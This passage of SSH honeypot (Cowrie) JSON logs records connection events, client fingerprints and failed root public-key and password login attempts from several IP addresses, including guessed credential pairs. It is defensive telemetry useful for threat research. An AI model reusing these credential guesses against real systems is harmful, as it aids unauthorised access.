14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.256218Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9oq/e3YGkkCbFpvkW6lTO+1xbDjlFzUayAnCub7N5LX7fJXhOFfHwBWo/pkDAX16RF9+zSQrVEnXmJTUefF9yMptc3OGOP1Xy23mnHaFuDSbC44rbKzoFxgqkohs9ovpq8SrO8LytRQyW256x0uAW3a16dbqarSqlFSMHYhWftdJJdiJmO+A8mBUHvRv56Sq/ODjTG0u3aI0IBuNMq5irKdatvlwuoX2RK92rChOjuOpgPbSuJTfyh/R9DlIsovmXnCbrZvH0RYGkwuHaNLZU6cCh4OyPRb8RB2mBXhsnImyBxV6gsWmJN2yEzPBVK7fGJLjjdcIpuRpijebOdjg5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.374580Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:0e:79:7c:ba:0d:50:54:00:6f:bb:8b:3d:d2:78:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD9oq/e3YGkkCbFpvkW6lTO+1xbDjlFzUayAnCub7N5LX7fJXhOFfHwBWo/pkDAX16RF9+zSQrVEnXmJTUefF9yMptc3OGOP1Xy23mnHaFuDSbC44rbKzoFxgqkohs9ovpq8SrO8LytRQyW256x0uAW3a16dbqarSqlFSMHYhWftdJJdiJmO+A8mBUHvRv56Sq/ODjTG0u3aI0IBuNMq5irKdatvlwuoX2RK92rChOjuOpgPbSuJTfyh/R9DlIsovmXnCbrZvH0RYGkwuHaNLZU6cCh4OyPRb8RB2mBXhsnImyBxV6gsWmJN2yEzPBVK7fGJLjjdcIpuRpijebOdjg5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.379007Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwWZG3bYxX2OtffOpgU9TrxmhrgnTl/IUeG8vLHVyhMgsDi2ybJHUrZ5N8b66QOKGvW7CBC0EN5yIpqNbR+wDiRc+Vwb2qiudoyciYb4Jin3FuMkpnoTSQHcz0QOGiiTT+z6bY13u5s6oRx9ZrnEHC9/y03NjwR/k4FpFQbOPOwWyrhPClwBsGqwIpFr55nYNEcvGDyQuV4ZZdKeb5QV25XMGldWmOvm0+vLHk0BPOEFNTeSsq6k2iK2L5OICu/zvk/zB3KksqWXuHGlF2dPs/veghlaIilLsT9QFE7rKganvtffukdV3tv2cr1oQKJcpag8WgSCuWjYFK1V7Ne1MJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.408560Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:25:30:59:06:fd:9b:2c:4b:19:3c:23:50:05:99:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDwWZG3bYxX2OtffOpgU9TrxmhrgnTl/IUeG8vLHVyhMgsDi2ybJHUrZ5N8b66QOKGvW7CBC0EN5yIpqNbR+wDiRc+Vwb2qiudoyciYb4Jin3FuMkpnoTSQHcz0QOGiiTT+z6bY13u5s6oRx9ZrnEHC9/y03NjwR/k4FpFQbOPOwWyrhPClwBsGqwIpFr55nYNEcvGDyQuV4ZZdKeb5QV25XMGldWmOvm0+vLHk0BPOEFNTeSsq6k2iK2L5OICu/zvk/zB3KksqWXuHGlF2dPs/veghlaIilLsT9QFE7rKganvtffukdV3tv2cr1oQKJcpag8WgSCuWjYFK1V7Ne1MJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.412937Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxq3LEOzw4iIXi7KwifP6ktp8PX972e2wDKx9T0vTKHrlruMls/Jl696k6mDrmXEh6HlmU/hdY5xz7XWs9v1Z68TCmfHC0HDubkW2jSmYg/yN9+WNFKIUVqmuCo2hgH7lwa4VfzamfwGuiBdk7L9visucw9/WK7MnCJHHovBnJALUSdhTaxzCaF72ZYQyOIvukKaZEZhmIG27xrPaN7DLu5QAXW5JF0SbAlJ7VUcj5hzZn3UhBR6T6tb99qGXUsO3Eu/9A+Pl4Fftogyz1lUan6jiX2wu9E7ZEDKJhASPcmNr5gvzh5SQDdGRCaJhXu3J9hD1tJeYJdBfoehKY7/gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.440676Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:e9:1e:7e:60:f5:ce:7a:40:e8:2f:e3:1e:eb:56:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArxq3LEOzw4iIXi7KwifP6ktp8PX972e2wDKx9T0vTKHrlruMls/Jl696k6mDrmXEh6HlmU/hdY5xz7XWs9v1Z68TCmfHC0HDubkW2jSmYg/yN9+WNFKIUVqmuCo2hgH7lwa4VfzamfwGuiBdk7L9visucw9/WK7MnCJHHovBnJALUSdhTaxzCaF72ZYQyOIvukKaZEZhmIG27xrPaN7DLu5QAXW5JF0SbAlJ7VUcj5hzZn3UhBR6T6tb99qGXUsO3Eu/9A+Pl4Fftogyz1lUan6jiX2wu9E7ZEDKJhASPcmNr5gvzh5SQDdGRCaJhXu3J9hD1tJeYJdBfoehKY7/gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.444528Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgBsRVGDUl2h1WQtN4c1xYtOMVqZ/G2G+qvLNRwZMw19T0t7leRe+4tfBml1Z/CG2C0035kcFyLkOqdqiMHgn29Ig1MXg1xIKLVMKOc4ZnZYXCd5zzpUOcnz4bJr1n0iVRylnF0/7YqkNwP2/aDl+uXEZtM1WpNJkSOXjaZH+WF5WYEV+cQraiL9XwyMzzRTwn5iNE1CEbl8WpMoer9k1dPooCq3VSHb4TbVIw9gV+jM6j2iKBMtGbIyCWBG4UswSzXQ3+N/fqZ/CmDH36jLyUagTfz2mhzZoidYNxJXLQbF2ywE35aRlQ155kTe5enfTCp/PzLLDHQ7LQyeteiv8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.472810Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:2e:df:ac:f0:e1:21:42:2d:b6:79:ef:da:0c:6c:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgBsRVGDUl2h1WQtN4c1xYtOMVqZ/G2G+qvLNRwZMw19T0t7leRe+4tfBml1Z/CG2C0035kcFyLkOqdqiMHgn29Ig1MXg1xIKLVMKOc4ZnZYXCd5zzpUOcnz4bJr1n0iVRylnF0/7YqkNwP2/aDl+uXEZtM1WpNJkSOXjaZH+WF5WYEV+cQraiL9XwyMzzRTwn5iNE1CEbl8WpMoer9k1dPooCq3VSHb4TbVIw9gV+jM6j2iKBMtGbIyCWBG4UswSzXQ3+N/fqZ/CmDH36jLyUagTfz2mhzZoidYNxJXLQbF2ywE35aRlQ155kTe5enfTCp/PzLLDHQ7LQyeteiv8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.478104Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvaTWcBSMDgEe/+RD0AcFfUqOpF6lnqBKVt10FR2WVQwaQRAacWGZZm8sDp3AhiBA/yOBdG/FYBiQHI7/fKsC3Saz2z1MIfetWrEA5hSaVZhUdtkXJob4trJ3yFyu5TlB5OK8LyTPR5RiQanm3fy5zzT6vGDaWKOWTcfkSBQpFTfnwcllfjUdWiuHzzoBSHMtg1NRLU4KSELgJdadrQi3+iJBWLzdJdDV0DCndsVN+Kbp3KtwuSVkicBWTazohh5m6Z1dN+nIJB5AypC2B/2fA0OeYpm9DYQMravLV2zxnBxptCbRuxnyrDNUP35lRSLgp171MAS5eAKcNH64y7axFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.506371Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:a9:b7:69:2a:ea:d4:78:67:7a:29:71:16:3f:3f:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvaTWcBSMDgEe/+RD0AcFfUqOpF6lnqBKVt10FR2WVQwaQRAacWGZZm8sDp3AhiBA/yOBdG/FYBiQHI7/fKsC3Saz2z1MIfetWrEA5hSaVZhUdtkXJob4trJ3yFyu5TlB5OK8LyTPR5RiQanm3fy5zzT6vGDaWKOWTcfkSBQpFTfnwcllfjUdWiuHzzoBSHMtg1NRLU4KSELgJdadrQi3+iJBWLzdJdDV0DCndsVN+Kbp3KtwuSVkicBWTazohh5m6Z1dN+nIJB5AypC2B/2fA0OeYpm9DYQMravLV2zxnBxptCbRuxnyrDNUP35lRSLgp171MAS5eAKcNH64y7axFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.511006Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:45.540139Z","src_ip":"154.16.119.22","session":"5475ee44e9ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexxy","message":"login attempt [root/sexxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:54.779956Z","src_ip":"213.209.159.158","session":"a81171f1a697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60550,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d6052a0241","protocol":"ssh","message":"New connection: 2.57.122.208:60550 (10.17.0.5:22) [session: 68d6052a0241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:56.433100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:56.527849Z","src_ip":"2.57.122.208","session":"68d6052a0241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:56.627661Z","src_ip":"2.57.122.208","session":"68d6052a0241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:57.635225Z","src_ip":"2.57.122.208","session":"68d6052a0241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:58.154617Z","src_ip":"213.209.159.158","session":"a81171f1a697","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":11344,"dst_ip":"10.17.0.5","dst_port":22,"session":"62cc3fbdb91e","protocol":"ssh","message":"New connection: 213.209.159.158:11344 (10.17.0.5:22) [session: 62cc3fbdb91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:58.261407Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:17:59.027021Z","src_ip":"2.57.122.208","session":"68d6052a0241","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:00.379933Z","src_ip":"213.209.159.158","session":"62cc3fbdb91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:00.383685Z","src_ip":"213.209.159.158","session":"62cc3fbdb91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sexy11","message":"login attempt [root/sexy11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:10.666878Z","src_ip":"213.209.159.158","session":"62cc3fbdb91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":36158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1849d61c883c","protocol":"telnet","message":"New connection: 194.180.12.23:36158 (159.203.135.109:23) [session: 1849d61c883c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:13.925399Z"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:14.037722Z","src_ip":"213.209.159.158","session":"62cc3fbdb91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16648,"dst_ip":"10.17.0.5","dst_port":22,"session":"4796a5693427","protocol":"ssh","message":"New connection: 213.209.159.158:16648 (10.17.0.5:22) [session: 4796a5693427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:14.118057Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.241.149.165","src_port":52472,"dst_ip":"10.17.0.5","dst_port":22,"session":"21cf4463f1c7","protocol":"ssh","message":"New connection: 185.241.149.165:52472 (10.17.0.5:22) [session: 21cf4463f1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.632761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.637316Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.681279Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.765795Z","src_ip":"213.209.159.158","session":"4796a5693427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.769460Z","src_ip":"213.209.159.158","session":"4796a5693427","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:55:17:77:f2:a4:d1:85:cf:9f:8c:a4:73:02:c4:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeHupoxW0+2vU7h0FnDihjzEco+WHEtvoKdfNaa6kIKWQTclkzqUOCtSYT3yjjJAm8EKVSmFIiTt0AMRhbacYIz1BI7WkN6pMGDKUKj/Yx520vd46giFZ4AfSIPMRNDYSS8JjMorzeZhnGq5RtMg/Mf9MSbEEa7USgoqm0wj6Z/JwhJ5DwRzqPQAvpGC/gIL7TGITvpht6mCtbCa1vBKBysPpKchZO6EKVjZ64pGKD4ax5YrqK4ns6hh6f6BEKBqkflzDuu6R0psFmjgSiT6Sc82MUdf2TBjbSGPGCgX6U/BVW/n/7K9yw4/GzRGC2DUvzGQfk+sknBZdymsWeq00N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:55:17:77:f2:a4:d1:85:cf:9f:8c:a4:73:02:c4:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.869442Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:55:17:77:f2:a4:d1:85:cf:9f:8c:a4:73:02:c4:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeHupoxW0+2vU7h0FnDihjzEco+WHEtvoKdfNaa6kIKWQTclkzqUOCtSYT3yjjJAm8EKVSmFIiTt0AMRhbacYIz1BI7WkN6pMGDKUKj/Yx520vd46giFZ4AfSIPMRNDYSS8JjMorzeZhnGq5RtMg/Mf9MSbEEa7USgoqm0wj6Z/JwhJ5DwRzqPQAvpGC/gIL7TGITvpht6mCtbCa1vBKBysPpKchZO6EKVjZ64pGKD4ax5YrqK4ns6hh6f6BEKBqkflzDuu6R0psFmjgSiT6Sc82MUdf2TBjbSGPGCgX6U/BVW/n/7K9yw4/GzRGC2DUvzGQfk+sknBZdymsWeq00N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.873667Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
